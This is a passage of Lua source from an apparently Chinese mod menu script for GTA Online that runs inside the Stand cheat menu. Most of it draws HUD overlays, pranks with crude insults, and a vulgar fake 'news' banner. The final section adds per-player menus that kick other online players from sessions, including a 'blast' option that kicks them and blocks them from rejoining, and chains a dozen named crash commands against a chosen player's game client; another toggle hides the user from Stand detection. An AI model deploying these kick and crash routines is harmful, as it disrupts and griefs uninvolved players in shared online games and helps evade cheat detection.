        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.25, 0.25, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.30, 0.30, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.35, 0.35, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.40, 0.40, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.45, 0.45, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.50, 0.50, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.55, 0.55, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.60, 0.60, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小 
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.65, 0.65, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.70, 0.70, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.75, 0.75, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.80, 0.80, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.85, 0.85, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.90, 0.90, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.95, 0.95, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 1.0, 1.0, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
    end)       
        
GTTG(zhujixianshi, "现实时间", {"timeforwindows"}, "", function(state)
xianshishijian(state)
end)

GTTG(zhujixianshi, "游戏时间", {""}, "", function(on)
if on then
menu.trigger_commands("infoclock on")
else
menu.trigger_commands("infoclock off")
end
end)

GTLP(zhujixianshi, "显示血量和护甲", {}, "", function()
    local current_health = ENTITY.GET_ENTITY_HEALTH(PLAYER.PLAYER_PED_ID())
    local max_health = PED.GET_PED_MAX_HEALTH(PLAYER.PLAYER_PED_ID())
    local current_armour = PED.GET_PED_ARMOUR(PLAYER.PLAYER_PED_ID())
    local max_armour = PLAYER.GET_PLAYER_MAX_ARMOUR(PLAYER.PLAYER_ID())
    local text = "血量： " .. current_health .. "/" .. max_health .. "\n护甲： " ..
        current_armour .. "/" .. max_armour
    util.draw_debug_text(text)
end)

speedhud = GT(zhujixianshi,"显示速度")
GTTG(speedhud, "显示速度", {"speedmeteor"}, "", function(state)
    speed_y = 0.8
    speed_x = 0.84
    speedm = state  
    while speedm do
    local ent
    local ent1 = players.user_ped()
    local ent2 = PED.GET_VEHICLE_PED_IS_USING(players.user_ped())
    if PED.IS_PED_IN_ANY_VEHICLE(ent1,true) then
    ent = ent2
    else
    ent = ent1
    end
    local speed = ENTITY.GET_ENTITY_SPEED(ent)
    local speedcalc = speed * 3.6
    myspeed1 = math.ceil(speedcalc)
    wait()
    draw_string(string.format("~bold~~italic~~b~"..myspeed1 .. "  ~p~KM/H"), speed_x,speed_y, 1,5)
    end
    end,speedm)

    GTluaScript.slider(speedhud, '速度显示 X轴', {''}, '',121, 661, 121, 20, function(s_x)
    speed_x = s_x / 661
    end) 
    
    GTluaScript.slider(speedhud, '速度显示 Y轴', {''}, '',21, 781, 21, 20, function(s_y)
        speed_y = s_y / 781
    end)  

GTLP(speedhud, "实体池信息", {"hostqus"}, "", function(state)
    scripthosts(state)
end)

 split_2t1 = function (input, sep)
local t={}
for str in string.gmatch(input, "([^"..sep.."]+)") do
table.insert(t, str)
end
return t
end
get_all_files_in_directory_2t1 = function (path, extension)
local files = filesystem.list_files(path)
local result = {}
for _, file in ipairs(files) do
if filesystem.is_regular_file(file) then
local split_file = split_2t1(file, ".")
if #split_file > 1 and split_file[#split_file] == extension then
local file_subs = split_2t1(file, "\\")
result[#result+1] = file_subs[#file_subs]
end
end
end
return result
end
files_table={}
 files_table1 = get_all_files_in_directory_2t1(filesystem.scripts_dir().."\\GTLuaScript\\tupian","jpg")
if #files_table1 > 1 then
local time=0
local file_num = 1
for o=1,#files_table1 do
files_table[o] = directx.create_texture(filesystem.scripts_dir().."\\GTLuaScript\\tupian\\"..files_table1[o])
end
GTTG(zhujixianshi, "GIF显示", {"gifpng"}, "", function(state)
    gif =state
    while gif do
        if time == 1 then 
            time = 0
            file_num = file_num+1
        else
            time = time+1
        end
        if file_num == #files_table1 then
            file_num = 1
        end
        directx.draw_texture(files_table[file_num], 0.04, 0.1, 0.5 , 0.5, 0.35,0.82,0, 1, 1, 1, 1)
        wait(5)
    end
end)
end

GTTG(zhujixianshi, "显示图片", {"gtpng"}, "", function(state)
llogo = state
logo_alpha = 1
while llogo do
directx.draw_texture(logo, 0.06, 0.06, 0.0, 0.0, 0.02, 0.27, 0, 1, 1, 1, logo_alpha)
wait()
end
end)

t2 = directx.create_texture(filesystem.scripts_dir() .. '/GTLuaScript/' .. 't2.png')
GTTG(zhujixianshi, "显示2Take1", {"2take1menu"}, "", function(state)
t2logo = state
logo_alpha = 1
while t2logo do
directx.draw_texture(t2, 0.06, 0.107, 0.0, 0.0, 0.40, 0.40, 0, 1, 1, 1, logo_alpha)
wait()
end
end)

ZT = GT(other_options, "动态主题", {}, "", function()
wait(100)
require "lib.GTSCRIPTS.GTW.ZT"
end)

times_button_pressed = 0
GTAC(other_options,"试试点击", {}, "一个友好的功能哟~\n连点有彩蛋喔~", function(f)
anwo = f
    if anwo then
        times_button_pressed = times_button_pressed + 1 util.toast("恭喜你，你被骗了 "..times_button_pressed.." 秒") if times_button_pressed == 10 then util.toast("哇10次，真是浪费时间") util.toast("哇10次，真是浪费时间") elseif times_button_pressed == 25 then util.toast("25倍的赞美你在浪费自己的时间") util.toast("25倍的赞美你在浪费自己的时间") elseif times_button_pressed == 50 then util.toast("好吧，兄弟50次，这里什么都没有，现在停止") util.toast("好吧，兄弟50次，这里什么都没有，现在停止") elseif times_button_pressed == 100 then util.toast("哇，你按了100次，你解锁了2tak1开发菜单") util.toast("哇，你按了100次，你解锁了2tak1开发菜单") elseif times_button_pressed == 200 then util.toast("他妈的200倍，你是想死吗?") util.toast("他妈的200倍，你是想死吗?") elseif times_button_pressed == 300 then util.toast("罚你达到500美元的奖金") util.toast("罚你达到500美元的奖金") elseif times_button_pressed == 500 then util.toast("哈哈，你得去拿奖") util.toast("哈哈，你得去拿奖") elseif times_button_pressed == 1000 then util.toast("这是你的奖品，给你两个大嘴巴 :)") util.toast("这是你的奖品，给你两个大嘴巴 :)") 
        end 
        end
    end)

GTAC(other_options, "保存配置", {}, "", function ()
    GTLuaScript.trigger_commands("Profiles")
end)

GTTG(other_options, '自动传送标记点', {""}, '请在地图标记地点', function ()
if on then
GTluaScript.trigger_commands("wpportals on")
else
GTluaScript.trigger_commands("wpportals off")
end
end)

GTLP(zhujixianshi, "按我", {""}, "", function()
GRAPHICS.DRAW_RECT(0.5, 0.5, 1, 1, 0, 0, 0, 255)
HUD.SET_TEXT_SCALE(2.0,5)
HUD.SET_TEXT_FONT(5)
HUD.SET_TEXT_CENTRE(0)
HUD.SET_TEXT_COLOUR(255, 255, 255, 255)
HUD.SET_TEXT_OUTLINE(true)
util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("~y~你个大傻逼")
HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.5,0.3,0)
end)

GTLP(zhujixianshi, "它不再属于你了", {""}, "", function ()
local scaleForm = GRAPHICS.REQUEST_SCALEFORM_MOVIE("POPUP_WARNING")
GRAPHICS.DRAW_RECT(.5, .5, 1, 1, 255, 158, 177, 255)
GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scaleForm, "SHOW_POPUP_WARNING")
GRAPHICS.DRAW_SCALEFORM_MOVIE_FULLSCREEN(scaleForm, 0, 0, 0, 0, 0)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(500.0)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING("GRANDTOURINGVIP")
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING("恭喜你发现了这个选项\n你成功的被我骗了一秒生命值\n这一秒永远属于我\n它不再属于你了\n")
GRAPHICS.END_SCALEFORM_MOVIE_METHOD(scaleForm)
end)

function xinwenegao()
xinwen = GRAPHICS.REQUEST_SCALEFORM_MOVIE('BREAKING_NEWS')
GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(xinwen, "SET_TEXT")
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_PLAYER_NAME_STRING("今日头条:" .. PLAYER.GET_PLAYER_NAME(players.user()) .. xinwnen_text)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_PLAYER_NAME_STRING("~h~~f~G~q~R~r~A~b~N~g~D~y~T~q~O~f~U~p~R~f~I~q~N~r~G~y~V~b~I~g~P")
GRAPHICS.END_SCALEFORM_MOVIE_METHOD(xinwen)
GRAPHICS.DRAW_SCALEFORM_MOVIE_FULLSCREEN(xinwen, 255, 255, 255, 255, 0)
end
xinwnen_text = "强奸了一百头母猪¦"
newstext = GT(zhujixianshi,"新闻恶搞", {''}, '')
GTluaScript.text_input(newstext, "自定义新闻文字", {"xinwnen_text"}, "" , function(on_input)
xinwnen_text = on_input
end, xinwnen_text)
GTLP(newstext, "新闻恶搞", {"newsplay"}, "From GTVIP", function()
xinwenegao()
end)
    

GTTG(zhujixianshi, "玩家栏1.0", {"playerbar1"}, "", function(state)
bar = state        
while bar do
posx = 0.001
posy = 0.00
for pid = 0,31 do
if PLAYER.GET_PLAYER_PED(pid) ~= 0 then
color =  {["r"] = 255/255,["g"] = 255/255,["b"] = 255/255,["a"] = 255/255} 
tags = ""
network = memory.alloc(13*4)
name = PLAYER.GET_PLAYER_NAME(pid)
NETWORK.NETWORK_HANDLE_FROM_PLAYER(pid,network,13)
if players.is_marked_as_modder(pid) then
tags = tags .. "[作弊者]"
color = {["r"] = 255/255,["g"] = 0/255,["b"] = 0/255,["a"] = 255/255}   
end
if players.is_godmode(pid) then 
    tags = tags .. "[无敌]"
color = {["r"] = 255/255,["g"] = 0/255,["b"] = 0/255,["a"] = 255/255} 
end
if players.is_in_interior(pid) then
tags = tags .. "[室内]"
color = {["r"] = 255/255,["g"] = 0/255,["b"] = 255/255,["a"] = 255/255} 
end
if players.is_marked_as_attacker(pid) then
tags = tags .. "[攻击过你]"
color = {["r"] = 255/255,["g"] = 0/255,["b"] = 0/255,["a"] = 255/255} 
end
if NETWORK.NETWORK_IS_FRIEND(network) then
tags = tags .. "[好友]"
color = {["r"] = 0/255,["g"] = 255/255,["b"] = 255/255,["a"] = 255/255}
end
if players.get_host() == pid then
tags = tags .. "[主机]"
color = {["r"] = 0/255,["g"] = 255/255,["b"] = 255/255,["a"] = 255/255} 
end
if players.get_script_host() == pid then
tags = tags .. "[脚本主机]"
color = {["r"] = 0/255,["g"] = 255/255,["b"] = 0/255,["a"] = 255/255} 
end
if players.user() == pid then
tags = tags .. " [GT] "
color = {["r"] = 0/255,["g"] = 255/255,["b"] = 255/255,["a"] = 255/255} 
end
memory.free(network)
directx.draw_text(posx,posy,name.." "..tags,ALIGN_TOP_LEFT,0.55,color)
GRAPHICS.DRAW_RECT(0.5, 0.01, 1, 0.09755, 20, 0, 120, 150)
posx = posx + 0.145
if posx > 1.5 then
posy = posy + 0.0175
posx = 0.0001
end
end
end
wait()
end
end)
    

GTTG(zhujixianshi, '玩家栏2.0', {"playerbar2"}, '', function (on)
if on then
GTluaScript.trigger_commands("playerbar on")
else
GTluaScript.trigger_commands("playerbar off")
end
end)

GTLP(other_options, "跳到下一条对话", {}, "", function()
    if AUDIO.IS_SCRIPTED_CONVERSATION_ONGOING() then
        AUDIO.SKIP_TO_NEXT_SCRIPTED_CONVERSATION_LINE()
    end
end)

wait(1000)

GTLP(minimap, "地图闪烁", {"party_mode_cmd"}, "五彩斑斓的小地图", function(on)
    HUD.FLASH_MINIMAP_DISPLAY_WITH_COLOR(hud_rgb_colors[hud_rgb_index])
    hud_rgb_index = hud_rgb_index + 1
    if hud_rgb_index == 4 then
        hud_rgb_index = 1
    end
    wait(200)
end)
GTTG(minimap,"显示声纳", {"sonaronmap"}, "", function(on)
	HUD._SET_MINIMAP_SONAR_ENABLED(on)
end)
mapzoom = 1
GTluaScript.slider(minimap, "小地图缩放", {"minimapzoom"}, "", 0, 100, 0, 1, function(s)
    HUD.SET_RADAR_ZOOM_PRECISE(s)
end)

mapangle = 0
GTluaScript.slider(minimap,"小地图角度", {"minimapanglme"}, "", 0, 360, 0, 1, function(s)
    mapangle = s
end)

mapanglet = off
GTTG(minimap,"锁定地图角度", {"lockminimapangle"}, "", function(on)
	mapanglet = on
	while mapanglet do
		HUD.LOCK_MINIMAP_ANGLE(mapangle)
		wait()
	end
	HUD.UNLOCK_MINIMAP_ANGLE()
end)
 centermap = off
GTTG(minimap, "以你为中心的地图", {"centermap"}, "", function(on)
	centermap = on
	while centermap do 
		HUD.DONT_TILT_MINIMAP_THIS_FRAME()
		wait()
	end
end)

GTTG(minimap, "隐藏地图", {}, "", function(on)
	if on then
		menu.trigger_commands("screenshot on")
	else
		menu.trigger_commands("screenshot off")
	end
end)

timestamp_toggle = false
GTAC(nextcons, "复制控制台信息到剪贴板", {}, "将控制台信息的完整的最后x行复制到剪贴板", function()
util.copy_to_clipboard(full_stdout, true)
end)

GTluaScript.slider(nextcons, "最大显示字符", {"nconsolemaxchars"}, "", 1, 1000, 200, 1, function(s)
max_chars = s
end)

GTluaScript.slider(nextcons, "最大显示行数", {"nconsolemaxlines"}, "", 1, 60, 25, 1, function(s)
max_lines = s
end)

GTluaScript.slider_float(nextcons, "字体大小", {"nconsolemaxlines"}, "", 1, 1000, 35, 1, function(s)
font_size = s*0.01
end)

GTTG(nextcons, "显示时间", {"ntime"}, "", function(on)
timestamp_toggle = on
end, false)

draw_toggle = false
GTTG(nextcons, "绘制控制台", {"ndrawconsole"}, "", function(on)
draw_toggle = on
end, false)

local text_color = {r = 1, g = 0, b = 1, a = 1}
GTluaScript.colour(nextcons, "文字颜色", {"nconsoletextcolor"}, "", 1, 0, 0, 1, true, function(on_change)
text_color = on_change
end)

local bg_color = {r = 0, g = 1, b = 1, a = 1}
GTluaScript.colour(nextcons, "背景颜色", {"nconsolebgcolor"}, "", 0, 0, 0, 0, true, function(on_change)
bg_color = on_change
end)

util.create_tick_handler(function()
    local text = get_last_lines(log_dir)
    if draw_toggle then
        local size_x, size_y = directx.get_text_size(disp_stdout, font_size)
        size_x += 0.01
        size_y += 0.01
        directx.draw_rect(0.0, 0.15, size_x, size_y, bg_color)
        directx.draw_text(0.0, 0.15, disp_stdout, 0, font_size, text_color, true)
    end
end)
--STAND版本
local window_x = 0.86
local window_y = 0.03
local text_margin = 0.003
local text_height = 0.018 
local window_width = 0.12
local window_height = 0.18
local menu_items = {"    Welcome to GTLuaScript\n\n     非常感谢各位支持人员\n",}
local selected_index = 0

local blur_rect_instance
local function colour(r, g, b, a)
return { r = r / 255,g = g / 255,b = b / 255,a = a / 255}
end
local function gui_background(x, y, width, height, blur_radius)
    local background = colour(60, 0, 0, 100)
    local border_color_left = colour(255, 0, 255, 180)
    local border_color_right = colour(0, 255, 255, 255)
    directx.blurrect_draw(
        blur_rect_instance, 
        x, y, width, height,
        blur_radius or 5
    )
    directx.draw_rect(
        x, y,
        width, height,
        background
    )
    directx.draw_line(
        x, y,
        x, y + height,
        border_color_left
    )
    directx.draw_line(
        x, y,
        x + width, y,
        border_color_left, border_color_right
    )
    directx.draw_line(
        x + width, y,
        x + width, y + height,
        border_color_right
    )
    directx.draw_line(
        x, y + height,
        x + width, y + height,
        border_color_left, border_color_right
    )
end
local function text(text, x, y, text_scale, highlighted)
    if highlighted then
        directx.draw_rect(
            x, y,
            window_width - (text_margin * 2), text_height,
            colour(15, 15, 15, 0)
        )
    end

    directx.draw_text(
        x, y, text, ALIGN_TOP_LEFT, text_scale,
        colour(0, 255, 255, 255)
    )
end
local insinsts = "FocusOut"
local function render_list(x, y, list, selected_index)
    local ty = 0
    local text_scale = 0.5

    for i,v in pairs(list) do
        local highlighed = i == selected_index - 1

        text(v, x, y + ty, text_scale, highlighed)
        ty = ty + text_height
    end
end

local function edition_string()
    local edition = menu.get_edition()
    if edition == 0 then
        return "[免费版]"
    elseif edition == 1 then
        return "[基础版]"
    elseif edition == 2 then
        return "[常规版]"
    elseif edition == 3 then
        return "[终极版]"
    end
end

local function render_menu()
    local width = window_width
    local height = window_height

    gui_background(window_x, window_y,
        width, height)

    text("      Stand " .. edition_string(),
        window_x + text_margin,
        window_y + text_margin,
        0.6, false)
    
    local top_margin = 0.04
    
    render_list(
        window_x + text_margin,
        window_y + text_margin + top_margin,
        menu_items, selected_index
    )
end

local function set_menu_open(toggle) end 

local menu_is_open = false

local function input_handler()
    if menu.is_open() then return end

    local VK_NUMPAD8 = 0x68
    local VK_NUMPAD2 = 0x62

    if util.is_key_down(VK_NUMPAD2) then
        selected_index = selected_index + 1

    elseif util.is_key_down(VK_NUMPAD8) then
        selected_index = selected_index - 1

    end
end

local function tick_handler()
    if menu_is_open then
        render_menu()
    end

    input_handler()
    return true
end

blur_rect_instance = directx.blurrect_new()
util.create_tick_handler(tick_handler) 

function set_menu_open(toggle)
    if toggle and not menu_is_open then
        menu_is_open = true
        
    elseif not toggle and menu_is_open then
        menu_is_open = false

    end
end

GTTG(zhujixianshi, "显示Stand版本", {"standedition"}, "", function(toggle)
set_menu_open(toggle)
end)

skills={
    "搞人",
    "嫖娼",
    "恋爱",
    "挣钱",
    "和平",
    "去死",
    "崩人",
    "踢人",
    "钓鱼",
    "骂人",
    "抢劫",
    "任务",
    "打炮"
}
rainbowr = 0
rainbowg = 0
rainbowb = 0

hidetext = GT(zhujixianshi, "你不可能看到")
kanbujian1=GTTG(hidetext, "这是你看不见的", {"dotext"}, "", function(a)
    local i=0
    sgt = a
    while sgt do 
    wait(0)
    HUD.SET_TEXT_SCALE(2.0,1)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    rainbowr = rainbowr + math.random(0, 3)
    rainbowg = rainbowg + math.random(0, 3)
    rainbowb = rainbowb + math.random(0, 3)
    if rainbowr > 255 then
       rainbowr = rainbowr - 255
    end
    if rainbowg > 255 then
       rainbowg = rainbowg - 255
    end
    if rainbowb > 255 then
       rainbowb = rainbowb - 255
    end
    HUD.SET_TEXT_COLOUR(rainbowr, rainbowg, rainbowb, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("欢迎使用\nGRANDTOURINGVIP")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.5,0.3)
        i=i+10
    end
end)
--fuck u
kanbujian2=GTTG(hidetext, "这是你看不见的", {"starttexts"}, "", function(a)
    local month=os.date("%m")
    local today=os.date("%d")
    local date=month..'月'..today..'日'
    local i=255
    local x=0
    local randomthing=math.random(1,#skills)
    sgt = a
    while sgt and i>0 do
    wait(0)
    HUD.SET_TEXT_SCALE(2.0,1)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    rainbowr = rainbowr + math.random(0, 3)
    rainbowg = rainbowg + math.random(0, 3)
    rainbowb = rainbowb + math.random(0, 3)
    if rainbowr > 255 then
        rainbowr = rainbowr - 255
    end
    if rainbowg > 255 then
       rainbowg = rainbowg - 255
    end
    if rainbowb > 255 then
       rainbowb = rainbowb - 255
    end
    HUD.SET_TEXT_COLOUR(rainbowr, rainbowg, rainbowb, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("欢迎使用\nGRANDTOURINGVIP\n今天是"..date..'\n适合'..skills[randomthing])
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.5,0.3)
        i=i-0.5
        x=x+1
    end
end)

shitdo = GTAC(hidetext, "看看今天干点啥", {"lookshitwhat"}, "", function()
    wait(3000)
    local me = players.user()
    local my_ped = players.user_ped(me)
    menu.trigger_commands("dotext on")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_trevor1")
    while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED("scr_trevor1") do
        STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_trevor1")
        wait(0)
    end
    wait(4000)
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_trevor1")
    while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED("scr_trevor1") do
        STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_trevor1")
        wait(0)
    end
    GRAPHICS.START_PARTICLE_FX_LOOPED_ON_ENTITY("scr_trev1_trailer_boosh", my_ped, 0, 0.0, 0.0, 0, 0, 0, 3)
    wait(1)
    FIRE.ADD_EXPLOSION(-50, -819.27, 326.175, 0, 1.0, true, false, 0.0, false)
    wait(1)
    menu.trigger_commands("dotext off")
    menu.trigger_commands("starttexts on")
    wait(4000)
    menu.trigger_commands("starttexts off")
    wait(1000)
end)

menu.trigger_commands("lookshitwhat")
menu.set_visible(hidetext, false)
--
--[[function lerp(start, destination, speed)
    return start + ((destination - start) * speed)
end
textX = 0.0
textEndPosition = 0.83 
speed = 0.01 
xianshiziti2 = menu.toggle(players_root,"你看不见的显示",{}, "", function(f)
    ucant = f
    while ucant do
        wait()
        textX = lerp(textX, textEndPosition, speed)
        local text = "~h~GRAND"
        HUD.SET_TEXT_SCALE(0.5, 0.5)
        rainbowr = rainbowr + math.random(0, 3)
        rainbowg = rainbowg + math.random(0, 3)
        rainbowb = rainbowb + math.random(0, 3)
        if rainbowr > 255 then
            rainbowr = rainbowr - 255
        end
        if rainbowg > 255 then
            rainbowg = rainbowg - 255
        end
        if rainbowb > 255 then
            rainbowb = rainbowb - 255
        end
        HUD.SET_TEXT_COLOUR(rainbowr, rainbowg, rainbowb, 255)
        util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT(text, v2(textX, 0.02))
    end
end)]]

GTTG(other_options, "隐藏Stand用户", {}, "对其他用户来说，你是隐形的，但也不是检测器", function(on_toggle)
local standid = menu.ref_by_path("Online>Protections>Detections>Stand User Identification")
if on_toggle then
GTluaScript.trigger_command(standid, "on")
else
GTluaScript.trigger_command(standid, "off")
end
end)

rlight = 255
GTluaScript.slider(misclightmenu, "R", {"lightred"}, "", 0, 255, 28, 1, function(s)
	rlight = s 
end)
glight = 255
GTluaScript.slider(misclightmenu, "G", {"lightgreen"}, "", 0, 255, 4, 1, function(s)
	glight = s
end)
blight = 255
GTluaScript.slider(misclightmenu, "B", {"lightblue"}, "", 0, 255, 255, 1, function(s)
	blight = s
end)
Radiuslight = 1
GTluaScript.slider(misclightmenu, "半径" ,{"lightradius"}, "", 0, 9000, 9000, 1, function(s)
	Radiuslight = s
end)
intenslight = 1
GTluaScript.slider(misclightmenu, "强度", {"lightintensity"}, "", 0, 1000, 1000, 1, function(s)
	intenslight = s
end)

GTLP(misclightmenu, "开启", {"lighton"}, "", function()
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
	GRAPHICS.DRAW_LIGHT_WITH_RANGE(pos.x, pos.y, pos.z, rlight, glight, blight, Radiuslight, intenslight)
end)

GTLP(other_options, "跳到下一条对话", {}, "", function()
    if AUDIO.IS_SCRIPTED_CONVERSATION_ONGOING() then
        AUDIO.SKIP_TO_NEXT_SCRIPTED_CONVERSATION_LINE()
    end
end)
--默认显示信息---------------------
require "lib.GTSCRIPTS.GTW.display"
-----------------------------------
    GenerateFeatures = function(PlayerID)
    GTROOT = GTD(GTluaScript.player_root(PlayerID), "GRANDTOURINGVIP")

    GT = GTluaScript.list

    PlayerMainMenu = GT(GTLuaScript.player_root(PlayerID), "踢出选项", {"GTKick"}, "赤诚相见,别来无恙", function(); end)

    GTAC(PlayerMainMenu, "快速踢出", {}, "", function()
    KickPlayer(PlayerID, "Smart")
    end)

    GTAC(PlayerMainMenu, "脚本事件踢出", {}, "", function()
        menu.trigger_commands("scripthost")
        menu.trigger_commands("nonhostkick".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(PlayerMainMenu, "阻止加入踢", {"blast"}, "将玩家踢出并无法加入此战局\n可在(线上-战局选项-阻止加入-已移除的玩家)中将该玩家移除", function()
        menu.trigger_commands("smart".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("historyblock".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(PlayerMainMenu, "智能", {"smartkick"}, "", function()
    GTLuaScript.trigger_commands("kick"..PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(PlayerMainMenu, "池被关闭", {"aidskick"}, "", function()
    GTLuaScript.trigger_commands("aids"..PLAYER.GET_PLAYER_NAME(PlayerID))
        end)

    GTAC(PlayerMainMenu, "情书", {"lovekick"}, "", function()
    GTLuaScript.trigger_commands("loveletterkick"..PLAYER.GET_PLAYER_NAME(PlayerID))
        end)

    GTAC(PlayerMainMenu, "高潮", {"orgkick"}, "Blocked by popular menus.", function()
    GTLuaScript.trigger_commands("orgasmkick"..PLAYER.GET_PLAYER_NAME(PlayerID))
        end)

    GTAC(PlayerMainMenu, "黑名单", {"blacklistkick"}, "", function()
    GTLuaScript.trigger_commands("blacklist"..PLAYER.GET_PLAYER_NAME(PlayerID))
        end)

    GTAC(PlayerMainMenu, "主机", {"kickhost"}, "", function()
    GTLuaScript.trigger_commands("hostkick"..PLAYER.GET_PLAYER_NAME(PlayerID))
        end)

    GTAC(PlayerMainMenu, "非主机", {"kicknonhost"}, "", function()
    GTLuaScript.trigger_commands("nonhostkick"..PLAYER.GET_PLAYER_NAME(PlayerID))
        end)

PlayerMainMenu = GT(GTLuaScript.player_root(PlayerID), "崩溃选项", {"GTCrash"}, "玩火自焚,后果自负", function(); end)

friendly = GT(GTLuaScript.player_root(PlayerID), "友好选项", {"GTFriendly"}, "日行一善,行善积德")

updates = GT(PlayerMainMenu, "近期更新", {}, "#此选项的崩溃为中等强度及以上\n#请您不要观看并且远离崩溃对象\n#切记:请不要无脑使用,否则玩火自焚\n#注意:崩溃需要您自行研究,切莫魔怔\n\n<建议1> #偷偷告诉您,附加黑洞效果更佳喔~\n<建议2> #针对主流菜单的情况下,其实踢出是最优选择喔~")

standbk = GT(PlayerMainMenu, "渲染器崩溃", {}, "")
       GTTG(standbk, "全部类型", {"togglescenariocrashes"}, "It's risky to spectate using this but your call", function(on_toggle)
        if on_toggle then
            wait()
            menu.trigger_commands("hunhezaiju" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("cigarscrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("spatularcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("barbellcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("hammercrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("fishingcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("jackhammercrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("broomcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("drunkcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("trowelcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("torchcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("coffeecrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
        else
            wait()
            menu.trigger_commands("hunhezaiju" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("cigarscrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("spatularcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("barbellcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("hammercrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("fishingcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("jackhammercrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("broomcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("drunkcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("trowelcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("torchcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
            menu.trigger_commands("coffeecrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
            wait(10)
